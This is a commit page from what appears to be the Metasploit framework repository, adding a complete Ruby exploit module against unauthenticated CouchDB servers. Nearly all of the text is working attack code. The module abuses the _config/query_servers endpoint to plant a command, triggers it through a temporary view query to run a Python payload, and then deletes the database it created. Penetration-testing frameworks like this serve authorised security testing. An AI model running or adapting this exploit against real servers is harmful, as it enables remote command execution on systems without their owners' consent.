Move #6900 into unstable

unstable
wchen-r7 2016-07-20 15:17:32 -05:00
commit 6412c66848
No known key found for this signature in database
GPG Key ID: 2384DB4EF06F730B
1 changed files with 162 additions and 0 deletions

View File

@ -0,0 +1,162 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info = {})
super(update_info(info,
'Name' => 'CouchDB Unauthentication Remote Command Execution',
'Description' => %q{
This module exploits a misconfiguration in CouchDB. If CouchDB api
without authentication, attackers can execute os commands with
the query_servers option in local.ini.
},
'Author' => [
'Nixawk', # original metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://blog.rot13.org/2010/11/triggers-in-couchdb-from-queue-to-external-command-execution.html' ],
[ 'URL', 'https://www.seebug.org/vuldb/ssvid-91389' ],
[ 'URL', 'http://docs.couchdb.org/en/1.6.1/api/server/configuration.html' ]
],
'Platform' => %w{ python },
'Targets' =>
[
[ 'Python', { 'Arch' => ARCH_PYTHON, 'Platform' => 'python' }]
],
'DisclosureDate' => 'Nov 23 2010',
'DefaultTarget' => 0
))
register_options(
[
Opt::RPORT(5984),
OptString.new('TARGETURI', [ true, 'The path to a default couchDB api', '/'])
], self.class)
end
def unauth?
uri = normalize_uri(datastore['TARGETURI'], '_config')
resp = send_request_cgi(
'uri' => uri,
'method' => 'GET'
)
return false unless resp
json_data = resp.get_json_document
return false if json_data.empty?
resp.code == 200 && json_data.key?('couchdb')
end
def config_query_servers?(cmd)
uri = normalize_uri(datastore['TARGETURI'], "_config/query_servers/#{@key}")
resp = send_request_cgi(
'uri' => uri,
'method' => 'PUT',
'data' => "\"#{cmd}\""
)
return false unless resp
resp.code == 200 && resp.body.include?("\"\"\n")
end
def create_database?
uri = normalize_uri(datastore['TARGETURI'], @dbname)
resp = send_request_cgi(
'uri' => uri,
'method' => 'PUT'
)
return false unless resp
json_data = resp.get_json_document
return false if json_data.empty?
resp.code == 201 && json_data.key?('ok') && json_data['ok']
end
def create_database_key_value?
data = "{\"#{@key}\": \"#{@value}\"}"
uri = normalize_uri(datastore['TARGETURI'], @dbname, @key)
resp = send_request_cgi(
'uri' => uri,
'method' => 'PUT',
'data' => data
)
return false unless resp
json_data = resp.get_json_document
return false if json_data.empty?
resp.code == 201 && json_data.key?('ok') && json_data['ok']
end
def query_database?
uri = normalize_uri(datastore['TARGETURI'], @dbname, '_temp_view?limit=11')
data = "{\"language\":\"#{@key}\",\"map\":\"\"}"
resp = send_request_cgi(
'uri' => uri,
'method' => 'POST',
'ctype' => 'application/json',
'data' => data
)
return false unless resp
json_data = resp.get_json_document
return false if json_data.empty?
resp.code == 500 && json_data.key?('error')
end
def delete_database?
uri = normalize_uri(datastore['TARGETURI'], @dbname)
resp = send_request_cgi(
'uri' => uri,
'method' => 'DELETE'
)
return false unless resp
json_data = resp.get_json_document
return false if json_data.empty?
resp.code == 200 && json_data.key?('ok') && json_data['ok']
end
def execute_command(cmd, opts = {})
@dbname = rand_text_alpha_lower(16)
@key = rand_text_alpha_lower(16)
@value = rand_text_alpha_lower(16)
vprint_status("#{peer} - config query_servers to add commands")
return unless config_query_servers?(cmd)
vprint_status("#{peer} - create a databse")
return unless create_database?
vprint_status("#{peer} - create a database key/value pair")
return unless create_database_key_value?
vprint_status("#{peer} - query database to execute command")
query_database?
vprint_status("#{peer} - delete database")
delete_database?
end
def check
if unauth?
Exploit::CheckCode::Appears
else
Exploit::CheckCode::Safe
end
end
def exploit
return unless unauth?
case target['Platform']
when 'python'
print_status("#{peer} - Sending python payload...")
execute_command("python -c \\\"#{payload.encoded}\\\"")
end
end
end